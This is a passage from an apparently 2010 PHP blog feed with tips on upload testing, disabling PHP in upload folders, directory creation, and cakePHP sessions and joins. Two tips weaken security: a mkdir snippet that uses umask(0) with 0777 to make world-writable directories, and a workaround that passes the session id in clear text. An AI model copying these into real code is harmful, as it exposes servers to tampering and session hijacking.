/fr-comp-lang-php/10256260-tests-unitaires-formulaire-dupload-de- fichier.html),
I&#39;ll share my findings with you.&lt;/p&gt;
&lt;p&gt;My problem was on how I was going to simulate a file upload in a test case. Sure
I could simulate a whole post request either using curl of simpleTest webtester.
But that would only give me a full overview of the upload process, not its inner
details.&lt;/p&gt;
&lt;p&gt;There was [a way to do that](http://www.mail-
archive.com/internals@lists.php.net/msg35782.html) using
&lt;a href=&quot;http://qa.php.net/phpt_details.php#post_raw_section&quot;&gt;PHPT&lt;/a&gt;, which seems to be
the unit tests used by PHP itself. It is supposed to simulate any kind of query.
Unfortunatly, setting that up seemed a little to complex for me.&lt;/p&gt;
&lt;h2&gt;So, how did I do?&lt;/h2&gt;
&lt;p&gt;I finally found a way to do that by:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Spoofing the &lt;code&gt;$_FILES&lt;/code&gt; array and putting arbitrary test data inside&lt;/li&gt;
&lt;li&gt;Copying a test file to the &lt;code&gt;tmp/&lt;/code&gt; directory for testing purpose. Actually the
directory does not matter (see 3.)&lt;/li&gt;
&lt;li&gt;Wrapping all calls to &lt;code&gt;move_uploaded_file&lt;/code&gt; and &lt;code&gt;is_uploaded_file&lt;/code&gt; to its own
methods. Those two php methods won&#39;t work with dummy upload because they
weren&#39;t really uploaded through &lt;code&gt;POST&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;So, instead of calling &lt;code&gt;move_uploaded_file&lt;/code&gt;, I called
&lt;code&gt;$this-&amp;gt;moveUploadedFile()&lt;/code&gt;, and instead of calling &lt;code&gt;is_uploaded_file()&lt;/code&gt;, I
called &lt;code&gt;$this-&amp;gt;isUploadedFile()&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;And when times comes to test my class, I just extends the class, overwrite those
two methods with new one that uses &lt;code&gt;rename()&lt;/code&gt; and &lt;code&gt;file_exists()&lt;/code&gt; instead.`&lt;/p&gt;
&lt;p&gt;`&lt;/p&gt;
&lt;h2&gt;What does that change?&lt;/h2&gt;
&lt;p&gt;The fondamental difference between the former and the latter functions is that
the former checks that the target really was uploaded through POST while the
latter does not care.&lt;/p&gt;
&lt;p&gt;It is extremely important that you use the correct upload method because it
provide an additional security check. If you just blindly &lt;code&gt;rename()&lt;/code&gt; files
specified by your user, you&#39;ll ending up putting the &lt;code&gt;database.php&lt;/code&gt; and
&lt;code&gt;config.php&lt;/code&gt; files in the webroot renamed as &lt;code&gt;i_want_to_be_hacked.txt&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;The other good news is that by wrapping those methods around those functions,
you can create mock objects and test all the various return scenarios.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Disabling PHP scripts in a directory</title>
    <link href="https://blog.pixelastic.com/2010/08/04/disabling-php-script-in-a-directory/"/>
    <updated>2010-08-04T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/08/04/disabling-php-script-in-a-directory</id>
    <content type="html">&lt;p&gt;Say you want to disable PHP scripts in a whole directory. Like your &lt;code&gt;upload/&lt;/code&gt;
directory, because you don&#39;t want your users to upload &lt;code&gt;.php&lt;/code&gt; files with direct
webroot access on your server...&lt;/p&gt;
&lt;p&gt;Just drop a &lt;code&gt;.htaccess&lt;/code&gt; file in it, and add the following rules&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-apache&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# We don&#39;t want php files from being parsed by the server in this directory, so we will return them as plain text&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;AddType&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; text/plain .php .php3 .php4 .php5 .php6 .phtml&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# Or, if the first rule does not work on your server, you may want to completely turn off PHP&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;#php_flag engine off&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
</content>
  </entry>
  <entry>
    <title>Creating dirs with correct chmod in PHP</title>
    <link href="https://blog.pixelastic.com/2010/08/04/creating-dirs-with-correct-chmod-in-php/"/>
    <updated>2010-08-04T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/08/04/creating-dirs-with-correct-chmod-in-php</id>
    <content type="html">&lt;p&gt;One trick I&#39;ve been dragging with me on all this years of PHP programing is a
little snippet to correctly create directories with the chmod I want.&lt;/p&gt;
&lt;p&gt;By simply calling &lt;code&gt;mkdir(&#39;my_dir&#39;, 0777)&lt;/code&gt; I used to often end up with
directories that I can&#39;t write to nor delete, even if I was correctly setting
the chmod.&lt;/p&gt;
&lt;p&gt;The trick was to reset the mask (using &lt;code&gt;umask(0)&lt;/code&gt;) before the &lt;code&gt;mkdir()&lt;/code&gt; call and
then reapplying the old mask after.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$tmpUmask&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; umask&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;mkdir&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;my_dir&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;0777&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;umask&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$tmpUmask&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I must admit that I&#39;ve never really understand why it was working better than
simply calling &lt;code&gt;mkdir()&lt;/code&gt; but hey, it&#39;s been years that I&#39;m using that now and I
never run into access rights issues since.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Calling a parent method with arguments in PHP</title>
    <link href="https://blog.pixelastic.com/2010/08/04/calling-a-parent-method-with-arguments-in-php/"/>
    <updated>2010-08-04T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/08/04/calling-a-parent-method-with-arguments-in-php</id>
    <content type="html">&lt;p&gt;For testing purpose I just needed to overwrite an existing class to add some
more logic to some methods before returning a call to its parent method.&lt;/p&gt;
&lt;p&gt;I needed to do that in a test case to save in an inner variable the result so I
can clean up my mess after each test ran.&lt;/p&gt;
&lt;p&gt;The key is calling &lt;code&gt;call_user_func_array&lt;/code&gt; with the right syntax. It seems that
some version of PHP prior to 5.3 choke (like in segmentation fault) if an
alternate syntax is given.&lt;/p&gt;
&lt;p&gt;Here is what worked for me:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; TestDocument&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; extends&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt; Document&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;    function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; foo&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;        return&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;fooResult&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; call_user_func_array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;parent&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;foo&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;), &lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;func_get_args&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;());&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
</content>
  </entry>
  <entry>
    <title>SWFUpload and cakePHP</title>
    <link href="https://blog.pixelastic.com/2010/08/03/swfupload-and-cakephp/"/>
    <updated>2010-08-03T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/08/03/swfupload-and-cakephp</id>
    <content type="html">&lt;p&gt;One thing that always sent me an awful hours of debugging is the fact that the
Flash player identify itself as a whole different browser that the one it is
integrated into.&lt;/p&gt;
&lt;p&gt;I&#39;ve ran into this issue multiple times when dealing with SWFUpload and today
was one more. As I always spent quite a lot of time debugging issues arising
from this, I guess I should post about it here.&lt;/p&gt;
&lt;h2&gt;The Flash player uses a different userAgent that your browser&lt;/h2&gt;
&lt;p&gt;Most of the time, this is not a problem. But when dealing with restricted areas
of a website built on top of cakePHP, it can become one.&lt;/p&gt;
&lt;p&gt;The thing is that as the &lt;code&gt;userAgent&lt;/code&gt; string used by the Flash player is not the
same as the one used by your browser. So, when you make a request to your site,
cake will see that as whole new request and you won&#39;t be able to access your
current session variables.&lt;/p&gt;
&lt;p&gt;As you can&#39;t overwrite the &lt;code&gt;userAgent&lt;/code&gt; hash sent, you need to send the
&lt;code&gt;sessionId&lt;/code&gt; along with your flash request. That way, you&#39;ll be able to call a&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;Session&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$sessionId&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;Session&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;start&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;();&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;in your controller &lt;code&gt;beforeFilter&lt;/code&gt;(or component &lt;code&gt;initialize&lt;/code&gt;)&lt;/p&gt;
&lt;p&gt;&lt;em&gt;In cake 1.2, you&#39;ll also have to call &lt;code&gt;$this-&amp;gt;Session-&amp;gt;destroy()&lt;/code&gt; before to
delete the Flash session created.&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;The Flash player uses a different cookie pool that your browser&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;This used to be an issue in 1.2 but not longer is.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Cake stores in a cookie the name of the session you&#39;re supposed to use. Flash
having its own cookie pool, it will save its own cookie (usually somewhere you
don&#39;t even know) and will always check for the session specified inside.&lt;/p&gt;
&lt;p&gt;This took me quite a long time to found out why the flash request where reading
an other request that the one I was setting.&lt;/p&gt;
&lt;p&gt;In 1.2, you needed to delete the cookie created by cake whenever you made a
flash request to avoid conflicts&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;setcookie&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;Configure::&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;read&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;Session.cookie&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;), &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;time&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;() &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 42000&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;Session&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;path&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;cakePHP used to overwrite the userAgent string in session&lt;/h2&gt;
&lt;p&gt;In cake 1.2, when you manually change the current session, cake would update the
inner &lt;code&gt;userAgent&lt;/code&gt; hash saved to your current userAgent hash.&lt;/p&gt;
&lt;p&gt;This meant that whenever you were moving from the Flash session to the correct
session, you had to overwrite the &lt;code&gt;userAgent&lt;/code&gt; hash to the correct one.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;Session&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;write&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;Config.userAgent&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$userAgent&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;This is no longer the case in 1.3, changing the current session does not alter
it anymore.&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Doesn&#39;t all that stuff alter security?&lt;/h2&gt;
&lt;p&gt;Well, most of the answers I found online were among the lines of &amp;quot;Just disable
the check of the &lt;code&gt;userAgent&lt;/code&gt;&amp;quot;, so I think my method is a little bit more secure.&lt;/p&gt;
&lt;p&gt;Anyway, passing a &lt;code&gt;sessionId&lt;/code&gt; as a parameter seems a little risky, even to me. I
guess there should be a way of encrypting it to not pass it as clear text&lt;/p&gt;
&lt;h2&gt;UPDATE!&lt;/h2&gt;
&lt;p&gt;I had to fiddle with this script some more. It appears that, as we are changing
the &lt;code&gt;sessionId&lt;/code&gt;, we need to do that BEFORE we access the session. It means that
any call to &lt;code&gt;Session::read()&lt;/code&gt; or &lt;code&gt;Session::check()&lt;/code&gt;, or almost any other Session
method BEFORE setting the id will block this trick from working. So, make sure
that this code is executed before anything else, put it in a component that will
be loaded first.&lt;/p&gt;
&lt;p&gt;It also appears that if you follow my advice, you&#39;ll only have to call
&lt;code&gt;id($sessionId)&lt;/code&gt;, and none of the hocum pocum about &lt;code&gt;destroy&lt;/code&gt;, &lt;code&gt;write&lt;/code&gt; and
&lt;code&gt;userAgent&lt;/code&gt; hashes I talked about...&lt;/p&gt;
&lt;p&gt;I just lost some hours finding this out. I add a call to Session in my &lt;code&gt;I18n&lt;/code&gt;
component that was rendering this whole fix useless. It was driving me crazy...&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Forcing joins in a cakePHP find</title>
    <link href="https://blog.pixelastic.com/2010/07/23/forcing-joins-in-a-cakephp-find/"/>
    <updated>2010-07-23T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/07/23/forcing-joins-in-a-cakephp-find</id>
    <content type="html">&lt;p&gt;Today I had to setup a complex find relation. Here is the simplifed version of
what I had:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;TABLE&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; timestamps&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; id&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;datetime&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; date&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;string &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;type&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; user_id&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The type field only had two types of values: &lt;code&gt;START&lt;/code&gt; and &lt;code&gt;END&lt;/code&gt;. As you can
guess, this was used to log the time users where using an application. Every
time a user started using the app, a &lt;code&gt;START&lt;/code&gt; record was created, and when he
loggued out, an &lt;code&gt;END&lt;/code&gt; record was created. So basically, the records where
working as pairs.&lt;/p&gt;
&lt;p&gt;I wanted to get a list of all records that could be easily displayed. I wanted
to bind the timestamp model to itself, so that when querying all the start
records, I&#39;ll automatically have the end ones as related models.&lt;/p&gt;
&lt;p&gt;Here&#39;s how I did that:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;find&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;all&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;  &#39;conditions&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;    &#39;Timestamp.type&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;START&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  ),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;  &#39;joins&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;    array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;      &#39;table&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;timestamp&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;      &#39;alias&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;EndTimestamp&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;      &#39;type&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;LEFT&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;      &#39;conditions&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;        &#39;EndTimestamp.type&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;END&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;        &#39;EndTimestamp.user_id = Timestamp.user_id&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;        &#39;EndTimestamp.date &gt; Timestamp.date&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;      )&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    )&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  ),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;  &#39;order&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;    &#39;Timestamp.date&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;ASC&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  ),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;  &#39;group&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;Timestamp.date&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;));&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It will fetch all the start timestamp (&lt;code&gt;fields&lt;/code&gt;) in chronological order
(&lt;code&gt;order&lt;/code&gt;). We will also define a custom join relation (&lt;code&gt;joins&lt;/code&gt;). We set the
table name and the alias we need, and set it as a &lt;code&gt;JOIN LEFT&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Then we add the conditions: we want only the &lt;code&gt;END&lt;/code&gt; records, that belongs to the
same user, and that occurs after the &lt;code&gt;START&lt;/code&gt; records. We also add a &lt;code&gt;group&lt;/code&gt; key
to make sure not to get twice the same result (or it will corrupt our results)&lt;/p&gt;
&lt;p&gt;Note that the joins syntax needs to be wrapped in an unkeyed array. This is
because you may need to add several joins.&lt;/p&gt;
